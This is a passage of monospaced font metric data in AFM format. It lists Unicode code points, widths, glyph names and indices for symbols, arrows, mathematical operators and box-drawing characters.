U 8287 ; WX 602 ; N uni205F ; G 1760
U 8304 ; WX 602 ; N uni2070 ; G 1761
U 8305 ; WX 602 ; N uni2071 ; G 1762
U 8308 ; WX 602 ; N uni2074 ; G 1763
U 8309 ; WX 602 ; N uni2075 ; G 1764
U 8310 ; WX 602 ; N uni2076 ; G 1765
U 8311 ; WX 602 ; N uni2077 ; G 1766
U 8312 ; WX 602 ; N uni2078 ; G 1767
U 8313 ; WX 602 ; N uni2079 ; G 1768
U 8314 ; WX 602 ; N uni207A ; G 1769
U 8315 ; WX 602 ; N uni207B ; G 1770
U 8316 ; WX 602 ; N uni207C ; G 1771
U 8317 ; WX 602 ; N uni207D ; G 1772
U 8318 ; WX 602 ; N uni207E ; G 1773
U 8319 ; WX 602 ; N uni207F ; G 1774
U 8320 ; WX 602 ; N uni2080 ; G 1775
U 8321 ; WX 602 ; N uni2081 ; G 1776
U 8322 ; WX 602 ; N uni2082 ; G 1777
U 8323 ; WX 602 ; N uni2083 ; G 1778
U 8324 ; WX 602 ; N uni2084 ; G 1779
U 8325 ; WX 602 ; N uni2085 ; G 1780
U 8326 ; WX 602 ; N uni2086 ; G 1781
U 8327 ; WX 602 ; N uni2087 ; G 1782
U 8328 ; WX 602 ; N uni2088 ; G 1783
U 8329 ; WX 602 ; N uni2089 ; G 1784
U 8330 ; WX 602 ; N uni208A ; G 1785
U 8331 ; WX 602 ; N uni208B ; G 1786
U 8332 ; WX 602 ; N uni208C ; G 1787
U 8333 ; WX 602 ; N uni208D ; G 1788
U 8334 ; WX 602 ; N uni208E ; G 1789
U 8336 ; WX 602 ; N uni2090 ; G 1790
U 8337 ; WX 602 ; N uni2091 ; G 1791
U 8338 ; WX 602 ; N uni2092 ; G 1792
U 8339 ; WX 602 ; N uni2093 ; G 1793
U 8340 ; WX 602 ; N uni2094 ; G 1794
U 8341 ; WX 602 ; N uni2095 ; G 1795
U 8342 ; WX 602 ; N uni2096 ; G 1796
U 8343 ; WX 602 ; N uni2097 ; G 1797
U 8344 ; WX 602 ; N uni2098 ; G 1798
U 8345 ; WX 602 ; N uni2099 ; G 1799
U 8346 ; WX 602 ; N uni209A ; G 1800
U 8347 ; WX 602 ; N uni209B ; G 1801
U 8348 ; WX 602 ; N uni209C ; G 1802
U 8352 ; WX 602 ; N uni20A0 ; G 1803
U 8353 ; WX 602 ; N colonmonetary ; G 1804
U 8354 ; WX 602 ; N uni20A2 ; G 1805
U 8355 ; WX 602 ; N franc ; G 1806
U 8356 ; WX 602 ; N lira ; G 1807
U 8357 ; WX 602 ; N uni20A5 ; G 1808
U 8358 ; WX 602 ; N uni20A6 ; G 1809
U 8359 ; WX 602 ; N peseta ; G 1810
U 8360 ; WX 602 ; N uni20A8 ; G 1811
U 8361 ; WX 602 ; N uni20A9 ; G 1812
U 8362 ; WX 602 ; N uni20AA ; G 1813
U 8363 ; WX 602 ; N dong ; G 1814
U 8364 ; WX 602 ; N Euro ; G 1815
U 8365 ; WX 602 ; N uni20AD ; G 1816
U 8366 ; WX 602 ; N uni20AE ; G 1817
U 8367 ; WX 602 ; N uni20AF ; G 1818
U 8368 ; WX 602 ; N uni20B0 ; G 1819
U 8369 ; WX 602 ; N uni20B1 ; G 1820
U 8370 ; WX 602 ; N uni20B2 ; G 1821
U 8371 ; WX 602 ; N uni20B3 ; G 1822
U 8372 ; WX 602 ; N uni20B4 ; G 1823
U 8373 ; WX 602 ; N uni20B5 ; G 1824
U 8376 ; WX 602 ; N uni20B8 ; G 1825
U 8377 ; WX 602 ; N uni20B9 ; G 1826
U 8378 ; WX 602 ; N uni20BA ; G 1827
U 8381 ; WX 602 ; N uni20BD ; G 1828
U 8450 ; WX 602 ; N uni2102 ; G 1829
U 8453 ; WX 602 ; N uni2105 ; G 1830
U 8461 ; WX 602 ; N uni210D ; G 1831
U 8462 ; WX 602 ; N uni210E ; G 1832
U 8463 ; WX 602 ; N uni210F ; G 1833
U 8469 ; WX 602 ; N uni2115 ; G 1834
U 8470 ; WX 602 ; N uni2116 ; G 1835
U 8471 ; WX 602 ; N uni2117 ; G 1836
U 8473 ; WX 602 ; N uni2119 ; G 1837
U 8474 ; WX 602 ; N uni211A ; G 1838
U 8477 ; WX 602 ; N uni211D ; G 1839
U 8482 ; WX 602 ; N trademark ; G 1840
U 8484 ; WX 602 ; N uni2124 ; G 1841
U 8486 ; WX 602 ; N uni2126 ; G 1842
U 8490 ; WX 602 ; N uni212A ; G 1843
U 8491 ; WX 602 ; N uni212B ; G 1844
U 8494 ; WX 602 ; N estimated ; G 1845
U 8520 ; WX 602 ; N uni2148 ; G 1846
U 8528 ; WX 602 ; N uni2150 ; G 1847
U 8529 ; WX 602 ; N uni2151 ; G 1848
U 8531 ; WX 602 ; N onethird ; G 1849
U 8532 ; WX 602 ; N twothirds ; G 1850
U 8533 ; WX 602 ; N uni2155 ; G 1851
U 8534 ; WX 602 ; N uni2156 ; G 1852
U 8535 ; WX 602 ; N uni2157 ; G 1853
U 8536 ; WX 602 ; N uni2158 ; G 1854
U 8537 ; WX 602 ; N uni2159 ; G 1855
U 8538 ; WX 602 ; N uni215A ; G 1856
U 8539 ; WX 602 ; N oneeighth ; G 1857
U 8540 ; WX 602 ; N threeeighths ; G 1858
U 8541 ; WX 602 ; N fiveeighths ; G 1859
U 8542 ; WX 602 ; N seveneighths ; G 1860
U 8543 ; WX 602 ; N uni215F ; G 1861
U 8585 ; WX 602 ; N uni2189 ; G 1862
U 8592 ; WX 602 ; N arrowleft ; G 1863
U 8593 ; WX 602 ; N arrowup ; G 1864
U 8594 ; WX 602 ; N arrowright ; G 1865
U 8595 ; WX 602 ; N arrowdown ; G 1866
U 8596 ; WX 602 ; N arrowboth ; G 1867
U 8597 ; WX 602 ; N arrowupdn ; G 1868
U 8598 ; WX 602 ; N uni2196 ; G 1869
U 8599 ; WX 602 ; N uni2197 ; G 1870
U 8600 ; WX 602 ; N uni2198 ; G 1871
U 8601 ; WX 602 ; N uni2199 ; G 1872
U 8602 ; WX 602 ; N uni219A ; G 1873
U 8603 ; WX 602 ; N uni219B ; G 1874
U 8604 ; WX 602 ; N uni219C ; G 1875
U 8605 ; WX 602 ; N uni219D ; G 1876
U 8606 ; WX 602 ; N uni219E ; G 1877
U 8607 ; WX 602 ; N uni219F ; G 1878
U 8608 ; WX 602 ; N uni21A0 ; G 1879
U 8609 ; WX 602 ; N uni21A1 ; G 1880
U 8610 ; WX 602 ; N uni21A2 ; G 1881
U 8611 ; WX 602 ; N uni21A3 ; G 1882
U 8612 ; WX 602 ; N uni21A4 ; G 1883
U 8613 ; WX 602 ; N uni21A5 ; G 1884
U 8614 ; WX 602 ; N uni21A6 ; G 1885
U 8615 ; WX 602 ; N uni21A7 ; G 1886
U 8616 ; WX 602 ; N arrowupdnbse ; G 1887
U 8617 ; WX 602 ; N uni21A9 ; G 1888
U 8618 ; WX 602 ; N uni21AA ; G 1889
U 8619 ; WX 602 ; N uni21AB ; G 1890
U 8620 ; WX 602 ; N uni21AC ; G 1891
U 8621 ; WX 602 ; N uni21AD ; G 1892
U 8622 ; WX 602 ; N uni21AE ; G 1893
U 8623 ; WX 602 ; N uni21AF ; G 1894
U 8624 ; WX 602 ; N uni21B0 ; G 1895
U 8625 ; WX 602 ; N uni21B1 ; G 1896
U 8626 ; WX 602 ; N uni21B2 ; G 1897
U 8627 ; WX 602 ; N uni21B3 ; G 1898
U 8628 ; WX 602 ; N uni21B4 ; G 1899
U 8629 ; WX 602 ; N carriagereturn ; G 1900
U 8630 ; WX 602 ; N uni21B6 ; G 1901
U 8631 ; WX 602 ; N uni21B7 ; G 1902
U 8632 ; WX 602 ; N uni21B8 ; G 1903
U 8633 ; WX 602 ; N uni21B9 ; G 1904
U 8634 ; WX 602 ; N uni21BA ; G 1905
U 8635 ; WX 602 ; N uni21BB ; G 1906
U 8636 ; WX 602 ; N uni21BC ; G 1907
U 8637 ; WX 602 ; N uni21BD ; G 1908
U 8638 ; WX 602 ; N uni21BE ; G 1909
U 8639 ; WX 602 ; N uni21BF ; G 1910
U 8640 ; WX 602 ; N uni21C0 ; G 1911
U 8641 ; WX 602 ; N uni21C1 ; G 1912
U 8642 ; WX 602 ; N uni21C2 ; G 1913
U 8643 ; WX 602 ; N uni21C3 ; G 1914
U 8644 ; WX 602 ; N uni21C4 ; G 1915
U 8645 ; WX 602 ; N uni21C5 ; G 1916
U 8646 ; WX 602 ; N uni21C6 ; G 1917
U 8647 ; WX 602 ; N uni21C7 ; G 1918
U 8648 ; WX 602 ; N uni21C8 ; G 1919
U 8649 ; WX 602 ; N uni21C9 ; G 1920
U 8650 ; WX 602 ; N uni21CA ; G 1921
U 8651 ; WX 602 ; N uni21CB ; G 1922
U 8652 ; WX 602 ; N uni21CC ; G 1923
U 8653 ; WX 602 ; N uni21CD ; G 1924
U 8654 ; WX 602 ; N uni21CE ; G 1925
U 8655 ; WX 602 ; N uni21CF ; G 1926
U 8656 ; WX 602 ; N arrowdblleft ; G 1927
U 8657 ; WX 602 ; N arrowdblup ; G 1928
U 8658 ; WX 602 ; N arrowdblright ; G 1929
U 8659 ; WX 602 ; N arrowdbldown ; G 1930
U 8660 ; WX 602 ; N arrowdblboth ; G 1931
U 8661 ; WX 602 ; N uni21D5 ; G 1932
U 8662 ; WX 602 ; N uni21D6 ; G 1933
U 8663 ; WX 602 ; N uni21D7 ; G 1934
U 8664 ; WX 602 ; N uni21D8 ; G 1935
U 8665 ; WX 602 ; N uni21D9 ; G 1936
U 8666 ; WX 602 ; N uni21DA ; G 1937
U 8667 ; WX 602 ; N uni21DB ; G 1938
U 8668 ; WX 602 ; N uni21DC ; G 1939
U 8669 ; WX 602 ; N uni21DD ; G 1940
U 8670 ; WX 602 ; N uni21DE ; G 1941
U 8671 ; WX 602 ; N uni21DF ; G 1942
U 8672 ; WX 602 ; N uni21E0 ; G 1943
U 8673 ; WX 602 ; N uni21E1 ; G 1944
U 8674 ; WX 602 ; N uni21E2 ; G 1945
U 8675 ; WX 602 ; N uni21E3 ; G 1946
U 8676 ; WX 602 ; N uni21E4 ; G 1947
U 8677 ; WX 602 ; N uni21E5 ; G 1948
U 8678 ; WX 602 ; N uni21E6 ; G 1949
U 8679 ; WX 602 ; N uni21E7 ; G 1950
U 8680 ; WX 602 ; N uni21E8 ; G 1951
U 8681 ; WX 602 ; N uni21E9 ; G 1952
U 8682 ; WX 602 ; N uni21EA ; G 1953
U 8683 ; WX 602 ; N uni21EB ; G 1954
U 8684 ; WX 602 ; N uni21EC ; G 1955
U 8685 ; WX 602 ; N uni21ED ; G 1956
U 8686 ; WX 602 ; N uni21EE ; G 1957
U 8687 ; WX 602 ; N uni21EF ; G 1958
U 8688 ; WX 602 ; N uni21F0 ; G 1959
U 8689 ; WX 602 ; N uni21F1 ; G 1960
U 8690 ; WX 602 ; N uni21F2 ; G 1961
U 8691 ; WX 602 ; N uni21F3 ; G 1962
U 8692 ; WX 602 ; N uni21F4 ; G 1963
U 8693 ; WX 602 ; N uni21F5 ; G 1964
U 8694 ; WX 602 ; N uni21F6 ; G 1965
U 8695 ; WX 602 ; N uni21F7 ; G 1966
U 8696 ; WX 602 ; N uni21F8 ; G 1967
U 8697 ; WX 602 ; N uni21F9 ; G 1968
U 8698 ; WX 602 ; N uni21FA ; G 1969
U 8699 ; WX 602 ; N uni21FB ; G 1970
U 8700 ; WX 602 ; N uni21FC ; G 1971
U 8701 ; WX 602 ; N uni21FD ; G 1972
U 8702 ; WX 602 ; N uni21FE ; G 1973
U 8703 ; WX 602 ; N uni21FF ; G 1974
U 8704 ; WX 602 ; N universal ; G 1975
U 8705 ; WX 602 ; N uni2201 ; G 1976
U 8706 ; WX 602 ; N partialdiff ; G 1977
U 8707 ; WX 602 ; N existential ; G 1978
U 8708 ; WX 602 ; N uni2204 ; G 1979
U 8709 ; WX 602 ; N emptyset ; G 1980
U 8710 ; WX 602 ; N increment ; G 1981
U 8711 ; WX 602 ; N gradient ; G 1982
U 8712 ; WX 602 ; N element ; G 1983
U 8713 ; WX 602 ; N notelement ; G 1984
U 8714 ; WX 602 ; N uni220A ; G 1985
U 8715 ; WX 602 ; N suchthat ; G 1986
U 8716 ; WX 602 ; N uni220C ; G 1987
U 8717 ; WX 602 ; N uni220D ; G 1988
U 8718 ; WX 602 ; N uni220E ; G 1989
U 8719 ; WX 602 ; N product ; G 1990
U 8720 ; WX 602 ; N uni2210 ; G 1991
U 8721 ; WX 602 ; N summation ; G 1992
U 8722 ; WX 602 ; N minus ; G 1993
U 8723 ; WX 602 ; N uni2213 ; G 1994
U 8725 ; WX 602 ; N uni2215 ; G 1995
U 8727 ; WX 602 ; N asteriskmath ; G 1996
U 8728 ; WX 602 ; N uni2218 ; G 1997
U 8729 ; WX 602 ; N uni2219 ; G 1998
U 8730 ; WX 602 ; N radical ; G 1999
U 8731 ; WX 602 ; N uni221B ; G 2000
U 8732 ; WX 602 ; N uni221C ; G 2001
U 8733 ; WX 602 ; N proportional ; G 2002
U 8734 ; WX 602 ; N infinity ; G 2003
U 8735 ; WX 602 ; N orthogonal ; G 2004
U 8736 ; WX 602 ; N angle ; G 2005
U 8739 ; WX 602 ; N uni2223 ; G 2006
U 8743 ; WX 602 ; N logicaland ; G 2007
U 8744 ; WX 602 ; N logicalor ; G 2008
U 8745 ; WX 602 ; N intersection ; G 2009
U 8746 ; WX 602 ; N union ; G 2010
U 8747 ; WX 602 ; N integral ; G 2011
U 8748 ; WX 602 ; N uni222C ; G 2012
U 8749 ; WX 602 ; N uni222D ; G 2013
U 8756 ; WX 602 ; N therefore ; G 2014
U 8757 ; WX 602 ; N uni2235 ; G 2015
U 8758 ; WX 602 ; N uni2236 ; G 2016
U 8759 ; WX 602 ; N uni2237 ; G 2017
U 8760 ; WX 602 ; N uni2238 ; G 2018
U 8761 ; WX 602 ; N uni2239 ; G 2019
U 8762 ; WX 602 ; N uni223A ; G 2020
U 8763 ; WX 602 ; N uni223B ; G 2021
U 8764 ; WX 602 ; N similar ; G 2022
U 8765 ; WX 602 ; N uni223D ; G 2023
U 8769 ; WX 602 ; N uni2241 ; G 2024
U 8770 ; WX 602 ; N uni2242 ; G 2025
U 8771 ; WX 602 ; N uni2243 ; G 2026
U 8772 ; WX 602 ; N uni2244 ; G 2027
U 8773 ; WX 602 ; N congruent ; G 2028
U 8774 ; WX 602 ; N uni2246 ; G 2029
U 8775 ; WX 602 ; N uni2247 ; G 2030
U 8776 ; WX 602 ; N approxequal ; G 2031
U 8777 ; WX 602 ; N uni2249 ; G 2032
U 8778 ; WX 602 ; N uni224A ; G 2033
U 8779 ; WX 602 ; N uni224B ; G 2034
U 8780 ; WX 602 ; N uni224C ; G 2035
U 8781 ; WX 602 ; N uni224D ; G 2036
U 8782 ; WX 602 ; N uni224E ; G 2037
U 8783 ; WX 602 ; N uni224F ; G 2038
U 8784 ; WX 602 ; N uni2250 ; G 2039
U 8785 ; WX 602 ; N uni2251 ; G 2040
U 8786 ; WX 602 ; N uni2252 ; G 2041
U 8787 ; WX 602 ; N uni2253 ; G 2042
U 8788 ; WX 602 ; N uni2254 ; G 2043
U 8789 ; WX 602 ; N uni2255 ; G 2044
U 8790 ; WX 602 ; N uni2256 ; G 2045
U 8791 ; WX 602 ; N uni2257 ; G 2046
U 8792 ; WX 602 ; N uni2258 ; G 2047
U 8793 ; WX 602 ; N uni2259 ; G 2048
U 8794 ; WX 602 ; N uni225A ; G 2049
U 8795 ; WX 602 ; N uni225B ; G 2050
U 8796 ; WX 602 ; N uni225C ; G 2051
U 8797 ; WX 602 ; N uni225D ; G 2052
U 8798 ; WX 602 ; N uni225E ; G 2053
U 8799 ; WX 602 ; N uni225F ; G 2054
U 8800 ; WX 602 ; N notequal ; G 2055
U 8801 ; WX 602 ; N equivalence ; G 2056
U 8802 ; WX 602 ; N uni2262 ; G 2057
U 8803 ; WX 602 ; N uni2263 ; G 2058
U 8804 ; WX 602 ; N lessequal ; G 2059
U 8805 ; WX 602 ; N greaterequal ; G 2060
U 8806 ; WX 602 ; N uni2266 ; G 2061
U 8807 ; WX 602 ; N uni2267 ; G 2062
U 8808 ; WX 602 ; N uni2268 ; G 2063
U 8809 ; WX 602 ; N uni2269 ; G 2064
U 8813 ; WX 602 ; N uni226D ; G 2065
U 8814 ; WX 602 ; N uni226E ; G 2066
U 8815 ; WX 602 ; N uni226F ; G 2067
U 8816 ; WX 602 ; N uni2270 ; G 2068
U 8817 ; WX 602 ; N uni2271 ; G 2069
U 8818 ; WX 602 ; N uni2272 ; G 2070
U 8819 ; WX 602 ; N uni2273 ; G 2071
U 8820 ; WX 602 ; N uni2274 ; G 2072
U 8821 ; WX 602 ; N uni2275 ; G 2073
U 8822 ; WX 602 ; N uni2276 ; G 2074
U 8823 ; WX 602 ; N uni2277 ; G 2075
U 8824 ; WX 602 ; N uni2278 ; G 2076
U 8825 ; WX 602 ; N uni2279 ; G 2077
U 8826 ; WX 602 ; N uni227A ; G 2078
U 8827 ; WX 602 ; N uni227B ; G 2079
U 8828 ; WX 602 ; N uni227C ; G 2080
U 8829 ; WX 602 ; N uni227D ; G 2081
U 8830 ; WX 602 ; N uni227E ; G 2082
U 8831 ; WX 602 ; N uni227F ; G 2083
U 8832 ; WX 602 ; N uni2280 ; G 2084
U 8833 ; WX 602 ; N uni2281 ; G 2085
U 8834 ; WX 602 ; N propersubset ; G 2086
U 8835 ; WX 602 ; N propersuperset ; G 2087
U 8836 ; WX 602 ; N notsubset ; G 2088
U 8837 ; WX 602 ; N uni2285 ; G 2089
U 8838 ; WX 602 ; N reflexsubset ; G 2090
U 8839 ; WX 602 ; N reflexsuperset ; G 2091
U 8840 ; WX 602 ; N uni2288 ; G 2092
U 8841 ; WX 602 ; N uni2289 ; G 2093
U 8842 ; WX 602 ; N uni228A ; G 2094
U 8843 ; WX 602 ; N uni228B ; G 2095
U 8845 ; WX 602 ; N uni228D ; G 2096
U 8846 ; WX 602 ; N uni228E ; G 2097
U 8847 ; WX 602 ; N uni228F ; G 2098
U 8848 ; WX 602 ; N uni2290 ; G 2099
U 8849 ; WX 602 ; N uni2291 ; G 2100
U 8850 ; WX 602 ; N uni2292 ; G 2101
U 8851 ; WX 602 ; N uni2293 ; G 2102
U 8852 ; WX 602 ; N uni2294 ; G 2103
U 8853 ; WX 602 ; N circleplus ; G 2104
U 8854 ; WX 602 ; N uni2296 ; G 2105
U 8855 ; WX 602 ; N circlemultiply ; G 2106
U 8856 ; WX 602 ; N uni2298 ; G 2107
U 8857 ; WX 602 ; N uni2299 ; G 2108
U 8858 ; WX 602 ; N uni229A ; G 2109
U 8859 ; WX 602 ; N uni229B ; G 2110
U 8860 ; WX 602 ; N uni229C ; G 2111
U 8861 ; WX 602 ; N uni229D ; G 2112
U 8862 ; WX 602 ; N uni229E ; G 2113
U 8863 ; WX 602 ; N uni229F ; G 2114
U 8864 ; WX 602 ; N uni22A0 ; G 2115
U 8865 ; WX 602 ; N uni22A1 ; G 2116
U 8866 ; WX 602 ; N uni22A2 ; G 2117
U 8867 ; WX 602 ; N uni22A3 ; G 2118
U 8868 ; WX 602 ; N uni22A4 ; G 2119
U 8869 ; WX 602 ; N perpendicular ; G 2120
U 8882 ; WX 602 ; N uni22B2 ; G 2121
U 8883 ; WX 602 ; N uni22B3 ; G 2122
U 8884 ; WX 602 ; N uni22B4 ; G 2123
U 8885 ; WX 602 ; N uni22B5 ; G 2124
U 8888 ; WX 602 ; N uni22B8 ; G 2125
U 8898 ; WX 602 ; N uni22C2 ; G 2126
U 8899 ; WX 602 ; N uni22C3 ; G 2127
U 8900 ; WX 602 ; N uni22C4 ; G 2128
U 8901 ; WX 602 ; N dotmath ; G 2129
U 8902 ; WX 602 ; N uni22C6 ; G 2130
U 8909 ; WX 602 ; N uni22CD ; G 2131
U 8910 ; WX 602 ; N uni22CE ; G 2132
U 8911 ; WX 602 ; N uni22CF ; G 2133
U 8912 ; WX 602 ; N uni22D0 ; G 2134
U 8913 ; WX 602 ; N uni22D1 ; G 2135
U 8922 ; WX 602 ; N uni22DA ; G 2136
U 8923 ; WX 602 ; N uni22DB ; G 2137
U 8924 ; WX 602 ; N uni22DC ; G 2138
U 8925 ; WX 602 ; N uni22DD ; G 2139
U 8926 ; WX 602 ; N uni22DE ; G 2140
U 8927 ; WX 602 ; N uni22DF ; G 2141
U 8928 ; WX 602 ; N uni22E0 ; G 2142
U 8929 ; WX 602 ; N uni22E1 ; G 2143
U 8930 ; WX 602 ; N uni22E2 ; G 2144
U 8931 ; WX 602 ; N uni22E3 ; G 2145
U 8932 ; WX 602 ; N uni22E4 ; G 2146
U 8933 ; WX 602 ; N uni22E5 ; G 2147
U 8934 ; WX 602 ; N uni22E6 ; G 2148
U 8935 ; WX 602 ; N uni22E7 ; G 2149
U 8936 ; WX 602 ; N uni22E8 ; G 2150
U 8937 ; WX 602 ; N uni22E9 ; G 2151
U 8943 ; WX 602 ; N uni22EF ; G 2152
U 8960 ; WX 602 ; N uni2300 ; G 2153
U 8961 ; WX 602 ; N uni2301 ; G 2154
U 8962 ; WX 602 ; N house ; G 2155
U 8963 ; WX 602 ; N uni2303 ; G 2156
U 8964 ; WX 602 ; N uni2304 ; G 2157
U 8965 ; WX 602 ; N uni2305 ; G 2158
U 8966 ; WX 602 ; N uni2306 ; G 2159
U 8968 ; WX 602 ; N uni2308 ; G 2160
U 8969 ; WX 602 ; N uni2309 ; G 2161
U 8970 ; WX 602 ; N uni230A ; G 2162
U 8971 ; WX 602 ; N uni230B ; G 2163
U 8972 ; WX 602 ; N uni230C ; G 2164
U 8973 ; WX 602 ; N uni230D ; G 2165
U 8974 ; WX 602 ; N uni230E ; G 2166
U 8975 ; WX 602 ; N uni230F ; G 2167
U 8976 ; WX 602 ; N revlogicalnot ; G 2168
U 8977 ; WX 602 ; N uni2311 ; G 2169
U 8978 ; WX 602 ; N uni2312 ; G 2170
U 8979 ; WX 602 ; N uni2313 ; G 2171
U 8980 ; WX 602 ; N uni2314 ; G 2172
U 8981 ; WX 602 ; N uni2315 ; G 2173
U 8984 ; WX 602 ; N uni2318 ; G 2174
U 8985 ; WX 602 ; N uni2319 ; G 2175
U 8988 ; WX 602 ; N uni231C ; G 2176
U 8989 ; WX 602 ; N uni231D ; G 2177
U 8990 ; WX 602 ; N uni231E ; G 2178
U 8991 ; WX 602 ; N uni231F ; G 2179
U 8992 ; WX 602 ; N integraltp ; G 2180
U 8993 ; WX 602 ; N integralbt ; G 2181
U 8997 ; WX 602 ; N uni2325 ; G 2182
U 8998 ; WX 602 ; N uni2326 ; G 2183
U 8999 ; WX 602 ; N uni2327 ; G 2184
U 9000 ; WX 602 ; N uni2328 ; G 2185
U 9003 ; WX 602 ; N uni232B ; G 2186
U 9013 ; WX 602 ; N uni2335 ; G 2187
U 9014 ; WX 602 ; N uni2336 ; G 2188
U 9015 ; WX 602 ; N uni2337 ; G 2189
U 9016 ; WX 602 ; N uni2338 ; G 2190
U 9017 ; WX 602 ; N uni2339 ; G 2191
U 9018 ; WX 602 ; N uni233A ; G 2192
U 9019 ; WX 602 ; N uni233B ; G 2193
U 9020 ; WX 602 ; N uni233C ; G 2194
U 9021 ; WX 602 ; N uni233D ; G 2195
U 9022 ; WX 602 ; N uni233E ; G 2196
U 9023 ; WX 602 ; N uni233F ; G 2197
U 9024 ; WX 602 ; N uni2340 ; G 2198
U 9025 ; WX 602 ; N uni2341 ; G 2199
U 9026 ; WX 602 ; N uni2342 ; G 2200
U 9027 ; WX 602 ; N uni2343 ; G 2201
U 9028 ; WX 602 ; N uni2344 ; G 2202
U 9029 ; WX 602 ; N uni2345 ; G 2203
U 9030 ; WX 602 ; N uni2346 ; G 2204
U 9031 ; WX 602 ; N uni2347 ; G 2205
U 9032 ; WX 602 ; N uni2348 ; G 2206
U 9033 ; WX 602 ; N uni2349 ; G 2207
U 9034 ; WX 602 ; N uni234A ; G 2208
U 9035 ; WX 602 ; N uni234B ; G 2209
U 9036 ; WX 602 ; N uni234C ; G 2210
U 9037 ; WX 602 ; N uni234D ; G 2211
U 9038 ; WX 602 ; N uni234E ; G 2212
U 9039 ; WX 602 ; N uni234F ; G 2213
U 9040 ; WX 602 ; N uni2350 ; G 2214
U 9041 ; WX 602 ; N uni2351 ; G 2215
U 9042 ; WX 602 ; N uni2352 ; G 2216
U 9043 ; WX 602 ; N uni2353 ; G 2217
U 9044 ; WX 602 ; N uni2354 ; G 2218
U 9045 ; WX 602 ; N uni2355 ; G 2219
U 9046 ; WX 602 ; N uni2356 ; G 2220
U 9047 ; WX 602 ; N uni2357 ; G 2221
U 9048 ; WX 602 ; N uni2358 ; G 2222
U 9049 ; WX 602 ; N uni2359 ; G 2223
U 9050 ; WX 602 ; N uni235A ; G 2224
U 9051 ; WX 602 ; N uni235B ; G 2225
U 9052 ; WX 602 ; N uni235C ; G 2226
U 9053 ; WX 602 ; N uni235D ; G 2227
U 9054 ; WX 602 ; N uni235E ; G 2228
U 9055 ; WX 602 ; N uni235F ; G 2229
U 9056 ; WX 602 ; N uni2360 ; G 2230
U 9057 ; WX 602 ; N uni2361 ; G 2231
U 9058 ; WX 602 ; N uni2362 ; G 2232
U 9059 ; WX 602 ; N uni2363 ; G 2233
U 9060 ; WX 602 ; N uni2364 ; G 2234
U 9061 ; WX 602 ; N uni2365 ; G 2235
U 9062 ; WX 602 ; N uni2366 ; G 2236
U 9063 ; WX 602 ; N uni2367 ; G 2237
U 9064 ; WX 602 ; N uni2368 ; G 2238
U 9065 ; WX 602 ; N uni2369 ; G 2239
U 9066 ; WX 602 ; N uni236A ; G 2240
U 9067 ; WX 602 ; N uni236B ; G 2241
U 9068 ; WX 602 ; N uni236C ; G 2242
U 9069 ; WX 602 ; N uni236D ; G 2243
U 9070 ; WX 602 ; N uni236E ; G 2244
U 9071 ; WX 602 ; N uni236F ; G 2245
U 9072 ; WX 602 ; N uni2370 ; G 2246
U 9073 ; WX 602 ; N uni2371 ; G 2247
U 9074 ; WX 602 ; N uni2372 ; G 2248
U 9075 ; WX 602 ; N uni2373 ; G 2249
U 9076 ; WX 602 ; N uni2374 ; G 2250
U 9077 ; WX 602 ; N uni2375 ; G 2251
U 9078 ; WX 602 ; N uni2376 ; G 2252
U 9079 ; WX 602 ; N uni2377 ; G 2253
U 9080 ; WX 602 ; N uni2378 ; G 2254
U 9081 ; WX 602 ; N uni2379 ; G 2255
U 9082 ; WX 602 ; N uni237A ; G 2256
U 9085 ; WX 602 ; N uni237D ; G 2257
U 9088 ; WX 602 ; N uni2380 ; G 2258
U 9089 ; WX 602 ; N uni2381 ; G 2259
U 9090 ; WX 602 ; N uni2382 ; G 2260
U 9091 ; WX 602 ; N uni2383 ; G 2261
U 9096 ; WX 602 ; N uni2388 ; G 2262
U 9097 ; WX 602 ; N uni2389 ; G 2263
U 9098 ; WX 602 ; N uni238A ; G 2264
U 9099 ; WX 602 ; N uni238B ; G 2265
U 9109 ; WX 602 ; N uni2395 ; G 2266
U 9115 ; WX 602 ; N uni239B ; G 2267
U 9116 ; WX 602 ; N uni239C ; G 2268
U 9117 ; WX 602 ; N uni239D ; G 2269
U 9118 ; WX 602 ; N uni239E ; G 2270
U 9119 ; WX 602 ; N uni239F ; G 2271
U 9120 ; WX 602 ; N uni23A0 ; G 2272
U 9121 ; WX 602 ; N uni23A1 ; G 2273
U 9122 ; WX 602 ; N uni23A2 ; G 2274
U 9123 ; WX 602 ; N uni23A3 ; G 2275
U 9124 ; WX 602 ; N uni23A4 ; G 2276
U 9125 ; WX 602 ; N uni23A5 ; G 2277
U 9126 ; WX 602 ; N uni23A6 ; G 2278
U 9127 ; WX 602 ; N uni23A7 ; G 2279
U 9128 ; WX 602 ; N uni23A8 ; G 2280
U 9129 ; WX 602 ; N uni23A9 ; G 2281
U 9130 ; WX 602 ; N uni23AA ; G 2282
U 9131 ; WX 602 ; N uni23AB ; G 2283
U 9132 ; WX 602 ; N uni23AC ; G 2284
U 9133 ; WX 602 ; N uni23AD ; G 2285
U 9134 ; WX 602 ; N uni23AE ; G 2286
U 9166 ; WX 602 ; N uni23CE ; G 2287
U 9167 ; WX 602 ; N uni23CF ; G 2288
U 9251 ; WX 602 ; N uni2423 ; G 2289
U 9472 ; WX 602 ; N SF100000 ; G 2290
U 9473 ; WX 602 ; N uni2501 ; G 2291
U 9474 ; WX 602 ; N SF110000 ; G 2292
U 9475 ; WX 602 ; N uni2503 ; G 2293
U 9476 ; WX 602 ; N uni2504 ; G 2294
U 9477 ; WX 602 ; N uni2505 ; G 2295
U 9478 ; WX 602 ; N uni2506 ; G 2296
U 9479 ; WX 602 ; N uni2507 ; G 2297
U 9480 ; WX 602 ; N uni2508 ; G 2298
U 9481 ; WX 602 ; N uni2509 ; G 2299
U 9482 ; WX 602 ; N uni250A ; G 2300
U 9483 ; WX 602 ; N uni250B ; G 2301
U 9484 ; WX 602 ; N SF010000 ; G 2302
U 9485 ; WX 602 ; N uni250D ; G 2303
U 9486 ; WX 602 ; N uni250E ; G 2304
U 9487 ; WX 602 ; N uni250F ; G 2305
U 9488 ; WX 602 ; N SF030000 ; G 2306
U 9489 ; WX 602 ; N uni2511 ; G 2307
U 9490 ; WX 602 ; N uni2512 ; G 2308
U 9491 ; WX 602 ; N uni2513 ; G 2309
U 9492 ; WX 602 ; N SF020000 ; G 2310
U 9493 ; WX 602 ; N uni2515 ; G 2311
U 9494 ; WX 602 ; N uni2516 ; G 2312
U 9495 ; WX 602 ; N uni2517 ; G 2313
U 9496 ; WX 602 ; N SF040000 ; G 2314
U 9497 ; WX 602 ; N uni2519 ; G 2315
U 9498 ; WX 602 ; N uni251A ; G 2316
U 9499 ; WX 602 ; N uni251B ; G 2317
U 9500 ; WX 602 ; N SF080000 ; G 2318
